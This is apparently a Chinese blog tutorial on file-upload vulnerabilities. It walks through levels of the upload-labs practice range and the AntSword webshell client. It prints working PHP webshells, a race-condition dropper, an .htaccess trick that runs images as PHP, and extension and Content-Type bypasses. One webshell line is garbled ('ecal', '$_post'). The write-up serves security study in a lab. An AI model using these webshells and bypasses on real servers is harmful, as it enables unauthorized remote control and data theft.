文件上传漏洞的介绍,webshell编写,upload-labs靶场闯关,蚁剑工具的使用

文件上传漏洞

介绍

文件上传漏洞是发生在有上传功能的应用中,如果应用程序对用户的上传文件没有控制或者存在缺陷,攻击者可以利用应用上传功能存在的缺陷,上传木马病毒等有危害的文件到服务器上面,控制服务器。
文件上传漏洞产生的主要原因是:应用中存在上传功能,但是上传的文件没有经过严格的合法性检验或者检验函数存在缺陷,导致可以上传木马文件到服务器。文件上传漏洞危害极大因为可以直接上传恶意代码到服务器上,可能会造成服务器的网页篡改、网站被挂马、服务器被远程控制、被安装后门等严重的后果。

目录

ea2ba82593a538bf915fcb8f6cba4b9.png

webshell的编写

webshell的含义

webshell通常被称为匿名用户(入侵者)通过网站端口对网站服务器的某种程度上操作的权限。它大多以动态脚本的形式存在,因此也有人称之为网站的后门工具。

webshell的编写

 在vscode创建一个.php文件,编写木马程序。下面是一个简单的木马
1
2
<?php @system($_GET[a]);
?>

这段代码接受一个名为a的GET参数,并使用@system函数执行该参数指定的命令。

upload-labs靶场闯关

upload-labs靶场的介绍

介绍:一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种 上传漏洞 的靶场。

第1关

1.下载upload-labs-master压缩包,将其解压到小皮的根目录下。
2.开启小皮的apache,关闭小皮的mysql
image.png
3.在主机vscode中编写木马程序命名为1.php,把1.php复制到虚拟机的桌面

1
2
3
<?php
@system($_GET[a]);
?>

4.在小皮,打开网站,进入第一关,F12关掉js,然后上传1.php
image.png
4.右键复制图片链接到另一个网页,在网址后面加上?a=whoami 或
?a=systeminfo 成功截图如下
Image.png
Image.png

第2关

1.查看代码,发现上传的文件必须是jpeg,png,gif类型
image.png
2.上传1.php后,用Yakit抓包,改为手动劫持,把16行改为image/jpeg,在点击自动放行。
image.png
3.右键复制图片链接到另一个网页,在网址后面加上?a=whoami 或
?a=systeminfo
image.png

第3关

1.查看代码,发现后缀 .asp .aspx .php .jsp 全被禁了
image.png
2.把木马1.php重命名为1.php5,在虚拟机浏览器访问192.168.2.197。
3.之后的步骤和第一关一样。
Image.png

第4关

1.在vscode创建并编写 .htaccess文件,.htaccess文件是Apache服务器的一个配置文件,它允许网站管理员在服务器配置文件(通常是httpd.conf)之外,为特定目录及其子目录设置独立的配置指令

1
2
3
<FilesMatch "3.jpg">
SetHandler application/x-httpd-php //这个指令为匹配模式的文件设置处理器为PHP引擎。换句话说,它告诉Apache将名为“3.jpg”的文件作为PHP脚本处理,而不是静态图像文件。
</FilesMatch>

2.把 .htaccess 移到虚拟机桌面
3.再把木马重命名为3.jpg
4.先上传.htaccess文件,再上传3.jpg
5.右键复制图片链接到另一个网页,在网址后面加上?a=dir 成功截图如下
Image.png

第18关

1.查看代码,第18行服务器删除当前目录文件。原理是这样的:服务器删文件。
向服务器不断发送上传木马请求的包,不断发送访问木马的包,服务器删不过来,个别木马被上传。若服务器性能好,则木马不能上传成功。
image.png
2.重新编写木马程序

1
2
3
4
5
<?php

fputs(fopen('../p.php','w'),'<?php @system($_GET[a]); ?>')

?>

3.先上传一张正常的图片10.jpg,右键复制图像链接。
image.png
4.打开Burp,把复制的图像链接后面的2024011xxxx.jpg改为2.php,然后粘贴到Burp的内置浏览器,再抓包
image.png
5.把抓到的包发送到intruder,得到访问木马的包。
image.png
6.接下来,去抓上传木马的包,选择2.php,点击下图箭头处的上传,把抓到的上传木马的包发送到intruder
image.png

  7.  3和4都改成无限发包,3是上传,4是访问。
      ![image.png](https://raw.githubusercontent.com/Xiaotang23/tu/main/img/1704891390603-d307cab2-7d08-4aa6-9430-2678af922b0f.png)
8.  3和4的线程都改成50
    ![image.png](https://raw.githubusercontent.com/Xiaotang23/tu/main/img/1704891573291-56a2dfc0-500d-40fe-b6fc-bebf4988967f.png)         
    9.点击Burp的开始攻击。结果如下
    ![Image.png](https://raw.githubusercontent.com/Xiaotang23/tu/main/img/1704981839385-21f5a2ff-1095-4412-93b6-dc5715616b2d.png)
    10.复制Request中的选中的部分,粘贴到upload/的后面并访问。
    ![Image.png](https://raw.githubusercontent.com/Xiaotang23/tu/main/img/1704981891067-8a5b9687-887f-4f1a-826a-337cfbc4a084.png)

蚁剑工具的使用

蚁剑工具的介绍

蚁剑(AntSword)是一款被设计用于网络攻击的远程控制工具,它能够使得攻击者获取受害计算机的远程控制权限。蚁剑通过在受害者计算机上植入恶意软件,创建一个“后门”,使攻击者可以未经授权地访问受害者系统,进行数据窃取、监控、操纵等一系列非法操作。

蚁剑工具的使用

1.重新编写木马2.php

1
2
3
<?php
@ecal($_post[a]);
?>

2.kali自带蚁剑工具,双击AntSword
image.png
3.右击空白处,添加数据。
image.png
4.按下图填写URL地址和连接密码。点击测试链接。
image.png
5.连接靶机成功,可以对靶机上的文件进行操作。
image.png

Contents
  1. 1. 文件上传漏洞
    1. 1.1. 介绍
    2. 1.2. 目录
  2. 2. webshell的编写
    1. 2.1. webshell的含义
    2. 2.2. webshell的编写
  3. 3. upload-labs靶场闯关
    1. 3.1. upload-labs靶场的介绍
    2. 3.2. 第1关
    3. 3.3. 第2关
    4. 3.4. 第3关
    5. 3.5. 第4关
    6. 3.6. 第18关
  4. 4. 蚁剑工具的使用
    1. 4.1. 蚁剑工具的介绍
    2. 4.2. 蚁剑工具的使用
|